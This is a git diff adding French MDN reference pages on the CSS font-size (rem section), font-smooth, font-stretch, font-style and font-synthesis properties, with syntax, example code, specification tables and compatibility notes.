+<p>L'unité <code>rem</code> a été conçue pour régler les problèmes engendrés par la composition. Les valeurs exprimées en <code>rem</code> sont relatives à l'élément {{HTMLElement("html")}} et pas à l'élément parent. Autrement dit, cette unité permet d'exprimer une taille relative sans être impacté par la taille de l'élément parent, court-circuitant ainsi la composition.</p>
+
+<p>La feuille de style qui suit ressemble fortement à celle utilisée dans l'exemple précédent, on a simplement remplacé l'unité par <code>rem</code>.</p>
+
+<pre class="brush: css notranslate">html {
+  font-size: 62.5%;
+}
+span {
+  font-size: 1.6rem;
+}
+</pre>
+
+<p>On utilisera le même fragment de HTML :</p>
+
+<pre class="brush: html notranslate">&lt;span&gt;
+  Extérieur
+    &lt;span&gt;Intérieur&lt;/span&gt;
+  Extérieur
+&lt;/span&gt;</pre>
+
+<p>{{EmbedLiveSample("Les_rems", 400, 40)}}</p>
+
+<p>Dans cet exemple, si la taille par défaut du navigateur vaut <code>16px</code>, tous les mots seront affichés avec une hauteur de <code>16px</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Premiers_exemples">Premiers exemples</h3>
+
+<pre class="brush: css notranslate">/* Le paragraphe sera écrit avec une grande */
+/* fonte.                                   */
+p { font-size: xx-large }
+
+/* La taille du texte des h1 sera 2.5 fois plus */
+/* grande que le texte autour.                  */
+h1 { font-size: 250% }
+
+/* Le texte contenu dans des éléments span */
+/* mesurera 16px                           */
+span { font-size: 16px; }
+</pre>
+
+<h3 id="Démonstration">Démonstration</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.small {
+  font-size: xx-small;
+}
+.larger {
+  font-size: larger;
+}
+.point {
+  font-size: 24pt;
+}
+.percent {
+  font-size: 200%;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h1 class="small"&gt;Petit H1&lt;/h1&gt;
+&lt;h1 class="larger"&gt;H1 plus grand&lt;/h1&gt;
+&lt;h1 class="point"&gt;H1 de 24 points&lt;/h1&gt;
+&lt;h1 class="percent"&gt;H1 à 200%&lt;/h1&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Démonstration','600','200')}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les unités <code>em</code> et <code>ex</code> pour la propriété {{Cssxref("font-size")}} sont relatives à la taille de la fonte de l'élément parent. Pour les autres propriétés, en utilisant ces unités, on aura une valeur relative à la taille de fonte de l'élément courant. Cela signifie que les valeurs exprimées en <code>em</code> ou en pourcents ont le même comportement pour {{cssxref("font-size")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>font-size</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-size")}}</p>
diff --git a/files/fr/web/css/font-smooth/index.html b/files/fr/web/css/font-smooth/index.html
new file mode 100644
index 0000000000..92571bb8b7
--- /dev/null
+++ b/files/fr/web/css/font-smooth/index.html
@@ -0,0 +1,73 @@
+---
+title: font-smooth
+slug: Web/CSS/font-smooth
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-smooth
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>font-smooth</code></strong> permet de contrôler l'application d'algorithmes anti-crénelage (<em>anti-aliasing</em>) sur le rendu des fontes de caractères.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec mot-clé */
+font-smooth: auto;
+font-smooth: never;
+font-smooth: always;
+
+/* Valeurs de type &lt;length&gt; */
+font-smooth: 2em;
+</pre>
+
+<div class="note">
+<p><strong>Webkit</strong> implémente <strong><code>-webkit-font-smoothing</code></strong> avec d'autres valeurs, <strong>là aussi c'est une propriété non-standard qui ne devrait pas être utilisée</strong>.</p>
+
+<ul>
+ <li><code>auto</code> : c'est le navigateur qui décide la meilleure approche</li>
+ <li><code>none</code> - l'anti-crénelage est désactivé.</li>
+ <li><code>antialiased </code> - lisse les caractères au niveau du pixel (et non par sous-échantillonnage). Pour des textes clairs sur fonds sombres, cette méthode fait paraître le texte plus clair.</li>
+ <li><code>subpixel-antialiased</code> - sur la plupart des affichages non-Retina, cela donnera le texte le plus lisse.</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>Firefox</strong> implémente <strong><code>-moz-osx-font-smoothing</code></strong> avec d'autres valeurs, <strong>là aussi c'est une propriété non-standard qui ne devrait pas être utilisée</strong>.</p>
+
+<ul>
+ <li><code>auto</code> - le choix est laissé au navigateur. Cela correspond généralement à <code>grayscale</code>.</li>
+ <li><code>grayscale</code> - On applique un anti-crénelage par niveau de gris (et non par sous-échantillonnage). Pour des textes clairs sur fonds sombres, cette méthode fait paraître le texte plus clair.</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Bien que mentionnée dans les premiers brouillons pour <a href="http://www.w3.org/TR/WD-font/#font-smooth" title="http://www.w3.org/TR/WD-font/#font-smooth">CSS3 Fonts</a>, <code>font-smooth</code> a été retirée de cette spécification et ne fait plus partie du standard.</p>
+
+<p> </p>
+
+<ul>
+ <li>Valeur initiale : <code>auto</code></li>
+ <li>S'applique à tous les éléments et au contenu généré</li>
+ <li>Héritée : oui</li>
+ <li>Valeurs relatives : par rapport à la taille de police utilisée sur l'élément parent</li>
+ <li>Type de média : Visuel</li>
+ <li>Valeur calculée : comme la valeur définie</li>
+</ul>
+
+<p> </p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.font-smooth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/">Il faut arrêter de vouloir « réparer » le lissage des fontes – UsabilityPost (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/font-stretch/index.html b/files/fr/web/css/font-stretch/index.html
new file mode 100644
index 0000000000..10ade6d4e5
--- /dev/null
+++ b/files/fr/web/css/font-stretch/index.html
@@ -0,0 +1,286 @@
+---
+title: font-stretch
+slug: Web/CSS/font-stretch
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-stretch
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-stretch</code></strong> permet de choisir entre la forme normale, condensée ou étendue d'une police.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs avec un mot-clé */
+font-stretch: ultra-condensed;
+font-stretch: extra-condensed;
+font-stretch: condensed;
+font-stretch: semi-condensed;
+font-stretch: normal;
+font-stretch: semi-expanded;
+font-stretch: expanded;
+font-stretch: extra-expanded;
+font-stretch: ultra-expanded;
+
+/* Valeurs en pourcentage */
+font-stretch: 50%;
+font-stretch: 100%;
+font-stretch: 200%;
+
+/* Valeurs globales */
+font-stretch: inherit;
+font-stretch: initial;
+font-stretch: unset;
+</pre>
+
+<p>Certaines polices possèdent différentes fontes pour lesquelles les caractères sont plus étroits (fontes <em>condensées</em>) et d'autres pour lesquelles les caractères sont plus amples (fontes <em>étendues</em>).</p>
+
+<p><code>font-stretch</code> permet de choisir entre les versions condensées ou étendues d'une police. Si la police utilisée ne possède pas de fonte utilisant cet axe de variation, elle n'aura aucun effet.</p>
+
+<p>Voir la section ci-après qui illustre l'effet de cette propriété sur certaines polices.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Cette propriété peut être définie avec un mot-clé ou avec une valeur exprimée en pourcentages (cf. {{cssxref("&lt;percentage&gt;")}}).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Permet de choisir une fonte normale.</dd>
+ <dt><code>semi-condensed</code>, <code>condensed</code>, <code>extra-condensed</code>, <code>ultra-condensed</code></dt>
+ <dd>Permet de choisir une fonte plus resserrée que la normale, <code>ultra-condensed</code> correspond à la forme la plus condensée.</dd>
+ <dt><code>semi-expanded</code>, <code>expanded</code>, <code>extra-expanded</code>, <code>ultra-expanded</code></dt>
+ <dd>Permet de choisir une fonte plus étendue que la normale, <code>ultra-expanded</code> correspond à la forme la plus étirée.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;percentage&gt;")}} entre 50% et 200% qui permet de définir la largeur de la police. Les valeurs négatives ne sont pas autorisées pour cette  propriété.</dd>
+</dl>
+
+<p>Dans les anciennes versions de la spécification de <code>font-stretch</code>, seuls les mots-clés étaient acceptés comme valeurs. Avec la spécification <em>CSS Fonts</em> de niveau 4, cette propriété peut également être définie avec un pourcentage. Cela permet d'obtenir un contrôle plus fin sur la largeur. Attention toutefois à la compatibilité car certains navigateurs ne prennent pas encore en charge cette fonctionnalité (cf. la section en fin d'article).</p>
+
+
+
+<h3 id="Correspondance_entre_les_mots-clés_et_les_valeurs_numériques">Correspondance entre les mots-clés et les valeurs numériques</h3>
+
+<p>Le tableau suivant indique les correspondances entre les valeurs sous la forme de mots-clés et celles exprimées en pourcentages :</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Mot-clé</th>
+   <th scope="col">Pourcentage</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>ultra-condensed</code></td>
+   <td>50%</td>
+  </tr>
+  <tr>
+   <td><code>extra-condensed</code></td>
+   <td>62.5%</td>
+  </tr>
+  <tr>
+   <td><code>condensed</code></td>
+   <td>75%</td>
+  </tr>
+  <tr>
+   <td><code>semi-condensed</code></td>
+   <td>87.5%</td>
+  </tr>
+  <tr>
+   <td><code>normal</code></td>
+   <td>100%</td>
+  </tr>
+  <tr>
+   <td><code>semi-expanded</code></td>
+   <td>112.5%</td>
+  </tr>
+  <tr>
+   <td><code>expanded</code></td>
+   <td>125%</td>
+  </tr>
+  <tr>
+   <td><code>extra-expanded</code></td>
+   <td>150%</td>
+  </tr>
+  <tr>
+   <td><code>ultra-expanded</code></td>
+   <td>200%</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sélection_de_la_fonte">Sélection de la fonte</h3>
+
+<p>La fonte sélectionnée pour une valeur <code>font-stretch</code> dépend des fontes prises en charge par la police. Si la police ne fournit pas de fonte qui corresponde à la valeur exacte, le navigateur utilisera une fonte condensée si la valeur est inférieure à 100% et une fonte étendue si la valeur est supérieure à 100%.</p>
+
+<p>Le tableau qui suit illustre l'effet des différents pourcentage avec deux polices possédant différentes fontes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col">50%</th>
+   <th scope="col">62.5%</th>
+   <th scope="col">75%</th>
+   <th scope="col">87.5%</th>
+   <th scope="col">100%</th>
+   <th scope="col">112.5%</th>
+   <th scope="col">125%</th>
+   <th scope="col">150%</th>
+   <th scope="col">200%</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Helvetica Neue</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16039/Screenshot_2018-06-06_example_page.png" style="height: 59px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16039/Screenshot_2018-06-06_example_page.png" style="height: 59px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16039/Screenshot_2018-06-06_example_page.png" style="height: 59px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16039/Screenshot_2018-06-06_example_page.png" style="height: 59px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16040/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16040/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16040/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16040/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16040/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">League Mono Variable</th>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16030/Screenshot_2018-06-06_example_page.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16031/Screenshot_2018-06-06_example_page1.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16032/Screenshot_2018-06-06_example_page2.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16033/Screenshot_2018-06-06_example_page3.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16034/l-100.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16035/l-112.5.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16036/l-125.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16037/l-150.png" style="height: 58px; width: 45px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16038/l-200.png" style="height: 58px; width: 45px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li>Helvetica Neue est installée par défaut sur macOS et possède une seule fonte condensée en plus de la fonte normale. On voit dans ce tableau que les valeurs de <code>font-stretch</code> inférieures à 100% utilisent une fonte condensée alors que les autres valeurs utilisent la fonte normale.</li>
+ <li><a href="http://tylerfinck.com/leaguemonovariable/">League Mono Variable</a> est une police variable qui offre plusieurs variantes de fontes sur cet axe et on peut alors observer les variations de <code>font-stretch</code> selon les pourcentages choisis.</li>
+</ul>
+
+<p>Pour les polices variables TrueType ou OpenType, c'est l'axe de variation <code>wdth</code> qui implémente ces largeurs variables.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Avec_un_mot-clé">Avec un mot-clé</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="stretch"&gt;Le texte est plus étiré.&lt;/p&gt;
+&lt;p class="condensed"&gt;Le texte est plus resserré.&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.stretch {
+  font-stretch: extra-expanded;
+}
+
+.condensed {
+  font-stretch: condensed;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Avec_un_mot-clé', '500')}}</p>
+
+<h3 id="Avec_un_pourcentage">Avec un pourcentage</h3>
+
+<p>Note : cet exemple ne fonctionnera uniquement avec les navigateurs qui prennent en charge les valeurs <code>&lt;percentage&gt;</code>.</p>
+
+<div id="variable-font-demo">
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+  &lt;p class="condensed"&gt;an elephantine lizard&lt;/p&gt;
+  &lt;p class="normal"&gt;an elephantine lizard&lt;/p&gt;
+  &lt;p class="expanded"&gt;an elephantine lizard&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">/*
+Cet exemple utilise la police League Mono Variable, développée par
+Tyler Finck (https://www.tylerfinck.com/) et utilisée ici selon
+la licence SIL Open Font, Version 1.1 :
+http://scripts.sil.org/cms/scripts/page.php?item_id=OFL_web
+*/
+
+@font-face {
+  src: url('https://mdn.mozillademos.org/files/16014/LeagueMonoVariable.ttf');
+  font-family:'LeagueMonoVariable';
+  font-style: normal;
+  font-stretch: 1% 500%; /* Nécessaire pour Chrome */
+}
+
+.container {
+  border: 10px solid #f5f9fa;
+  padding: 0 1rem;
+  font: 1.5rem 'LeagueMonoVariable', sans-serif;
+}
+
+.condensed {
+  font-stretch: 50%;
+}
+
+.normal {
+  font-stretch: 100%;
+}
+
+.expanded {
+  font-stretch: 200%;
+}
+
+</pre>
+</div>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("variable-font-demo", 1200, 250, "", "", "example-outcome-frame")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#propdef-font-stretch', 'font-stretch')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Ajout des valeurs <code>&lt;percentage&gt;</code> pour les polices variables.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-stretch', 'font-stretch')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété CSS <code>font-stretch</code> fut d'abord définie par CSS 2, mais elle a été abandonnée avec CSS 2.1 par manque d'implémentation. Elle fut redéfinie avec CSS 3.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-stretch")}}</p>
diff --git a/files/fr/web/css/font-style/index.html b/files/fr/web/css/font-style/index.html
new file mode 100644
index 0000000000..d1807d4ff1
--- /dev/null
+++ b/files/fr/web/css/font-style/index.html
@@ -0,0 +1,235 @@
+---
+title: font-style
+slug: Web/CSS/font-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/font-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>font-style</code></strong> permet de sélectionner une fonte italique (<code>italic</code>) ou (<code>oblique</code>) parmi celles listées par {{cssxref("font-family")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La forme <strong>italique</strong> est généralement une forme cursive qui utilise moins d'espace horizontal que les autres formes classiques. La forme <strong>oblique</strong> quant à elle est simplement une version penchée de la forme normale. Les formes italique et oblique peuvent être synthétisées par le navigateur si elles sont absente (le moteur penche alors les glyphes de la forme normale), pour plus d'informations sur l'activation de cette synthèse, voir la propriété {{cssxref("font-synthesis")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>font-style</code> peut être définie avec l'un des mots-clés suivants.</p>
+
+<pre class="brush:css no-line-numbers">font-style: normal;
+font-style: italic;
+font-style: oblique;
+font-style: oblique 10deg;
+
+/* Valeurs globales */
+font-style: inherit;
+font-style: initial;
+font-style: unset;
+</pre>
+
+<p>La propriété <code>font-style</code> s'utilise avec un mot-clé parmi ceux qui suivent. Si ce mot-clé est <code>oblique</code>, il peut également être suivi de l' angle.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Sélectionne une police qualifiée de <code>normal</code> parmi celles de {{cssxref("font-family")}}.</dd>
+ <dt><code>italic</code></dt>
+ <dd>Sélectionne une police qualifiée d'<code>italic</code>, s'il n'y a pas de version italique, une version <code>oblique</code> sera sélectionnée à la place.</dd>
+ <dt><code>oblique</code></dt>
+ <dd>Sélectionne une police qualifiée d'<code>oblique</code>, s'il n'y a pas de version oblique, une version <code>italic</code> sera sélectionnée à la place.</dd>
+ <dt><code>oblique</code> <code>&lt;angle&gt;</code></dt>
+ <dd>Sélectionne une police qualifiée d'<code>oblique</code> et indique l'angle à utiliser pour la pente du texte. Si plusieurs fontes sont disponible pour la police, c'est la fonte avec la pente la plus proche qui est utilisée. Si aucune police oblique n'est disponible, le navigateur <em>synthétisera</em> une police penchée en tournant les caractères d'une fonte normale.<br>
+ L'angle indiqué (cf. {{cssxref("&lt;angle&gt;")}}) doit être compris entre <code>-90deg</code> et <code>90deg</code>. Si aucun angle n'est indiqué, la valeur par défaut utilisée sera <code>14deg</code>. Les valeurs positives correspondent à une pente où le haut des caractères penche vers la fin de la ligne et les valeurs négatives permettent d'obtenir une pente orientée vers le début de la ligne.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Variable_fonts">Variable fonts</h3>
+
+<p>Les polices variables permettent d'obtenir un contrôle fin sur la pente appliqué à la fonte. Pour cela, on pourra utiliser une police variable et <code>font-style</code> avec le mot-clé <code>oblique</code> suivi d'une valeur d'angle.</p>
+
+<p>Pour les polices variables TrueType ou OpenType, c'est l'axe de variation <code>"slnt"</code> qui est utilisé afin d'implémenter les variations de pente. C'est l'axe <code>"ital"</code> qui est utilisé avec une valeur de 1 pour implémenter les fontes italiques. Voir {{cssxref("font-variation-settings")}}.</p>
+
+<p>Afin que l'exemple suivant fonctionne, votre navigateur doit prendre en charge la syntaxe <em>CSS Fonts Level 4</em> qui permet d'utiliser <code>font-style: oblique</code> suivi d'un angle.</p>
+
+<div style="border: 10px solid #f5f9fa; padding: 1rem;">{{EmbedLiveSample("variable-font-example", 1200, 180, "", "", "example-outcome-frame")}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<div id="variable-font-example">
+<pre class="brush: html">&lt;header&gt;
+    &lt;input type="range" id="slant" name="slant" min="-90" max="90" /&gt;
+    &lt;label for="slant"&gt;Slant&lt;/label&gt;
+&lt;/header&gt;
+&lt;div class="container"&gt;
+    &lt;p class="sample"&gt;...it would not be wonderful to meet a Megalosaurus, forty feet long or so, waddling like an elephantine lizard up Holborn Hill.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/*
+AmstelvarAlpha-VF is created by <span class="col-11 mr-2 text-gray-dark">David Berlow</span> (https://github.com/TypeNetwork/Amstelvar)
+and is used here under the terms of its license:
+https://github.com/TypeNetwork/Amstelvar/blob/master/OFL.txt
+*/
+
+@font-face {
+  src: url('https://mdn.mozillademos.org/files/16044/AmstelvarAlpha-VF.ttf');
+  font-family:'AmstelvarAlpha';
+  font-style: normal;
+}
+
+label {
+  font: 1rem monospace;
+}
+
+.container {
+  max-height: 150px;
+  overflow: scroll;
+}
+
+.sample {
+  font: 2rem 'AmstelvarAlpha', sans-serif;
+}
+
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">html, body {
+  max-height: 100vh;
+  max-width: 100vw;
+  overflow: hidden;
+}
+
+body {
+  display: flex;
+  flex-direction: column;
+}
+
+header {
+  margin-bottom: 1.5rem;
+}
+
+.container {
+  flex-grow: 1;
+}
+
+.container &gt; p {
+  margin-top: 0;
+  margin-bottom: 0;
+}
+</pre>
+</div>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let slantLabel = document.querySelector('label[for="slant"]');
+let slantInput = document.querySelector('#slant');
+let sampleText = document.querySelector('.sample');
+
+function update() {
+  let slant = `oblique ${slantInput.value}deg`;
+  slantLabel.textContent = `font-style: ${slant};`;
+  sampleText.style.fontStyle = slant;
+}
+
+slantInput.addEventListener('input', update);
+
+update();
+</pre>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">.normal {
+  font-style: normal;
+}
+
+.italic {
+  font-style: italic;
+}
+
+.oblique {
+  font-style: oblique;
+}</pre>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;Un paragraphe normale.&lt;/p&gt;
+&lt;p class="italic"&gt;Un paragraphe italique.&lt;/p&gt;
+&lt;p class="oblique"&gt;Un paragraphe oblique.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Toutes les polices ne disposent pas nécessairement de formes pour <code>oblique</code> et <code>italic</code>, si ces formes sont absentes, le moteur simulera la forme absente à partir de celle qui est disponible. Voici un exemple du rendu d'une police qui dispose des différentes formes :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12049/Screen%20Shot%202015-12-05%20at%2008.41.03.png" style="height: 135px; width: 466px;"></p>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>L'utilisation de grandes portions de textes avec <code>font-style: italic</code> peut rendre la lecture difficile pour les personnes dyslexiques ou ayant des troubles cognitifs.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG21/#visual-presentation"><em>Understanding Success Criterion 1.4.8  | W3C Understanding WCAG 2.0 </em>(en anglais)</a></li>
+</ul>
+
+<h2 id="Spécific​ations">Spécific​ations</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-style-prop', 'font-style')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Permet d'indiquer un angle après le mot-clé <code>oblique</code></td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-style-prop', 'font-style')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.font-style")}}</p>
diff --git a/files/fr/web/css/font-synthesis/index.html b/files/fr/web/css/font-synthesis/index.html
new file mode 100644
index 0000000000..3eba97d377
--- /dev/null
+++ b/files/fr/web/css/font-synthesis/index.html
@@ -0,0 +1,95 @@
+---
+title: font-synthesis
+slug: Web/CSS/font-synthesis
+tags:
+  - CSS
+  - CSS Fonts
+  - Fontes CSS
+  - Propriété
+  - Reference
+  - 'recipe: css-property'
+translation_of: Web/CSS/font-synthesis
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-synthesis</code></strong> indique au navigateur s'il peut synthétiser la graisse ou la mise en italique des polices utilisées si ces variantes sont absentes.</p>
+
+<pre class="brush:css notranslate">font-synthesis: none;
+font-synthesis: weight;
+font-synthesis: style;
+font-synthesis: weight style;
+
+/* Valeurs globales */
+font-synthesis: initial;
+font-synthesis: inherit;
+font-synthesis: unset;
+</pre>
+
